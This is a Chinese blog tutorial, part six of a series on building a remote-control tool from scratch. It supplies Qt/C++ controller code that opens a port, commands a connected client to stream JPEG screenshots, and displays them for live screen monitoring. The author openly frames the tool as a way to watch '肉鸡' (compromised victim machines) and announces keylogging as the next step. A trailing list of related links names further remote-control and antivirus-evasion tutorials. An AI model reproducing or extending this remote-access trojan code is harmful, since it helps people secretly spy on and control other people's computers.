如果你从没看过这系列教程请点击:从零开始做远控 简介篇

屏幕监控:
这一节我们是完成屏幕监控的最后一部分,就是在服务端里发送指令,然后从客户端不断获取屏幕截图数据,画到窗口上,形成实时监控。

晒下效果图:

ScreenSpy类:
1.首先我们要在ZeroServer项目里创建一个基于QWidget的类。
2.启动新的服务端,专门监控屏幕.
3.定义数据包头,可以从上一节复制过来。

// 数据头
typedef struct {unsigned int len;    // jpg文件大小
} ScreenSpyHeader;

4.屏幕截图数据读取和打印在窗口上

void ScreenSpy::processBuffer()
{QByteArray *buf = mSock->buffer();while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {// 读取头if (mScreenLen == 0) {if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {ScreenSpyHeader header;memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));buf->remove(0, sizeof(ScreenSpyHeader));// 设置图片数据mScreenLen = header.len;} else {break;}}// 读取JPG图片if (mScreenLen > 0){if ((unsigned int)buf->size() >= mScreenLen) {// 保存新图片mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);// 显示图片mScreenLabel->setPixmap(mScreenPixmap);// 擦除数据buf->remove(0, mScreenLen);mScreenLen = 0;} else {break;}}}
}

代码

ScreenSpy.h

/**  Author: sumkee911@gmail.com*  Date: 2016-12-21*  Brief: 从客户端接收屏幕图片数据,然后画在窗口上**/#ifndef SCREENSPY_H
#define SCREENSPY_H#include <QWidget>
#include <tcpsocket.h>
#include <tcpserver.h>
#include <QApplication>
#include <QDesktopWidget>
#include <QPixmap>
#include <QLabel>class ScreenSpy : public QWidget
{Q_OBJECT
public:explicit ScreenSpy( QWidget *parent = 0);// 数据头typedef struct {unsigned int len;    // jpg文件大小} ScreenSpyHeader;// 开始监控服务器,然后返回新的端口号int startScreenSpyServer(QString userName);private:QLabel *mScreenLabel;        // 用来显示图片TcpServer *mServer;   // 屏幕监控服务端TcpSocket *mSock;   // 屏幕监控客户端QPixmap mScreenPixmap;    // 当前屏幕截图unsigned int mScreenLen;    // JPG图片大小signals:public slots:// 有新客户连接void newConnection(QTcpSocket *s);// 处理新数据void processBuffer();protected:// 大小重置void resizeEvent(QResizeEvent *);// 关闭void closeEvent(QCloseEvent *);
};#endif // SCREENSPY_H

ScreenSpy.cpp

#include "screenspy.h"
ScreenSpy::ScreenSpy( QWidget *parent) :QWidget(parent), mScreenLen(0)
{// 初始化窗口const int w = 800, h = 450;const int x = (QApplication::desktop()->width() - w) >> 1;const int y = (QApplication::desktop()->height() - h) >> 1;this->setGeometry(x, y, w, h);// 图片labelmScreenLabel = new QLabel(this);mScreenLabel->setGeometry(0,0, w, h);mScreenLabel->setScaledContents(true);
}
int ScreenSpy::startScreenSpyServer(QString userName)
{// 设置窗口标题this->setWindowTitle(userName.append("-屏幕监控"));// 开启新的服务端mServer = new TcpServer(this);connect(mServer,SIGNAL(newConnection(QTcpSocket*)), this,SLOT(newConnection(QTcpSocket*)));mServer->start(0);if (!mServer->server()->isListening()) {qDebug() << "开启屏幕监控服务端失败";deleteLater();return -1;}// 开启监控窗口this->show();return mServer->server()->serverPort();
}
void ScreenSpy::newConnection(QTcpSocket *s)
{// 新增客户mSock = new TcpSocket(s, this);connect(mSock,SIGNAL(newData()), this, SLOT(processBuffer()));connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()));// 不再监听新客户mServer->server()->close();
}
void ScreenSpy::processBuffer()
{QByteArray *buf = mSock->buffer();while((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {// 读取头if (mScreenLen == 0) {if ((unsigned int)buf->size() >= sizeof(ScreenSpyHeader)) {ScreenSpyHeader header;memcpy(&header, buf->data(), sizeof(ScreenSpyHeader));buf->remove(0, sizeof(ScreenSpyHeader));// 设置图片数据mScreenLen = header.len;} else {break;}}// 读取JPG图片if (mScreenLen > 0){if ((unsigned int)buf->size() >= mScreenLen) {// 保存新图片mScreenPixmap.loadFromData((unsigned char*)buf->data(), mScreenLen);// 显示图片mScreenLabel->setPixmap(mScreenPixmap);// 擦除数据buf->remove(0, mScreenLen);mScreenLen = 0;} else {break;}}}
}
void ScreenSpy::resizeEvent(QResizeEvent *)
{// 重设mScreenLabel大小mScreenLabel->setGeometry(0,0,width(), height());
}
void ScreenSpy::closeEvent(QCloseEvent *)
{// 删除窗口deleteLater();
}

6.子ZeroClient类里增加新的公有函数sendScreenSpy()。

void ZeroClient::sendScreenSpy(int port)
{QString data;data.append(CmdScreenSpy+CmdSplit);data.append("PORT"+CmdSplit+QString::number(port));data.append(CmdEnd);mSock->write(data.toLocal8Bit());
}

7.修改Widget类里的screenSpyClicked()。

void Widget::screenSpyClicked()
{int id = currentClientIdFromTable();if (id != -1) {ScreenSpy *ss = new ScreenSpy();ZeroClient *client = mZeroServer->client(id);int port = ss->startScreenSpyServer(QString::number(id));// 开始监控client->sendScreenSpy(port);}
}

本节总结:
我们已经完成了屏幕监控了,现在可以用眼睛监视你的肉鸡了。下一节我会跟大家讲键盘监控。

本节完整代码:
对上节作出的修改:
1.ZeroServer项目里TcpSocket构造函数增加一行connect(mSock, SIGNAL(disconnected()), this, SLOT(deleteLater()))。
2.ZeroServer项目里TcpSocket::close()增加一行mSock->disconnectFromHost()。

下载完整代码

从零开始做远控 第六篇 屏幕监控相关推荐

  1. 从零开始做远控 第五篇 屏幕监控

    如果你从没看过这系列教程请点击:从零开始做远控 简介篇 屏幕监控: 我们来到进阶课程了,我们这一节主要是讲客户端的,我们将会编写从客户端截取屏幕,然后用JEPG压缩它,最后发给服务端,形成一个动态画面 ...

  2. 从零开始做远控 簡介篇 做一个属于你自己的远控

    做一个属于你自己的远控: 先对大家说句抱歉,上次答应带大家一起做远控但因为我的个人原因让课程中途断了,这次我答应大家一定要把这教程完成.你在看着课程之前你必须掌握c/c++,qt,win32 api. ...

  3. 关于远控软件导致windows屏幕亮度无法调节的解决方法

    原因是远控软件为了实现"远程操控时黑屏",更新了监视器驱动程序,直接把亮度调节功能给劫持了 比如: TeamViewer会把监视器驱动覆盖为PnP-Monitor(Standard ...

  4. 使用AnyDesk做远控

    简介 AnyDesk是类似teamviewer的远程桌面管理软件,但是它不用安装,而且体积比较小只有2.84MB 使用场景举例 有云锁,护卫神等禁止3389登录时 类似阿里云这种,登录3389会报警 ...

  5. Eric6与pyqt5学习笔记13 【实战4 打造局域网远控软件】

    已经去集训营安心准备考研了,这两天回校参加夏令营,顺便把之前3天课设做的一个小软件写个博客分享下~ 不知道有没有也是今年考研的研友呢,祝大家都能考上理想的研究生!!! 远控软件思路 远控软件基本功能我 ...

  6. 远控免杀从入门到实践(1):基础篇

    郑重声明 1.文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 2.文中提到的杀软检测指标是 virustotal.com(简称 ...

  7. 远控免杀专题(67)-白名单(113个)总结篇

    关于白名单程序 相信大家对白名单程序利用的手法也已经非常熟悉了,白名单程序利用其实是起源于LOLBins,全称"Living-Off-the-Land Binaries",直白翻译 ...

  8. 【数分书单】业务学习《从零开始做运营入门篇》第一/二/三章小结

    <从零开始做运营入门篇>by 张亮 第一章 关于运营的一些实话实说  1 苦逼的运营产品两兄弟 运营需要积累,实力的积累,经验的积累,对用户了解程度的积累,对数据敏感程度的积累:长期磨练出 ...

  9. 远控免杀从入门到实践(6)-代码篇-Powershell

    郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!  <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...

  10. 远控免杀从入门到实践(5)-代码篇-Python

    郑重声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!  <远控免杀从入门到实践>系列文章目录: 1.远控免杀从 ...

最新文章

  1. jquery-12 折叠面板如何实现(两种方法)
  2. VMware9.0安装Ubuntu出现Software virtualization is incompatible 问题的解决
  3. 导致大量kworker的原因_头上白发越长越多,原因有哪些?
  4. shell 下使用 echo 打印彩色字体及彩色背景
  5. python如何实现通知_ExASIC: 用python实现一个通知机器人
  6. 【PTA天梯赛CCCC -2017决赛L1-6 】整除光棍 (20 分)(大数模拟除法)
  7. 阿里云服务器——centos7下源码安装tomcat9
  8. 为什么你的店铺不赚钱?
  9. 推荐系统常用推荐系统算法(协同过滤算法等)-人工智能AI
  10. sqlserver Month()函数取日期不足两位的加 0(转载)
  11. 8个深度学习/计算机视觉错误,应该如何避免它们
  12. HTML5基础与Meta http-equiv属性详解
  13. 在Android中绘制圆角矩形图片
  14. vue 判断字符串是否是英文_vue rules以及原生js判断字符串是否为正整数(正小数)...
  15. ROSCon2018国际会议讲座录像和讲稿PPT
  16. 360安全卫士造成网站不能访问的解决办法
  17. 第三章 - 有穷自动机与词法分析(二)
  18. 1 个方法提升 3 倍执行力
  19. solidty实现默克尔树空投
  20. Google Doc 更新一个文档 替换多个变量

热门文章

  1. 网络ACL(NACL)
  2. 老师如何听课和评课?4个维度、20个观察视角、68个观察点!
  3. linux下svn自动备份,svn自动备份到百度云
  4. 浅聊深度学习在金融风险管理领域的应用
  5. ubuntu18.04的PCL安装和配置
  6. c++,ccf,2017年9月,打酱油试题
  7. 腾讯云服务器标准型S2和标准型SA2区别在哪?如何选择?
  8. 移动软件开发 微信小程序 第二次实验
  9. 一张图读懂互联网大咖
  10. python定时任务在实盘交易系统中的应用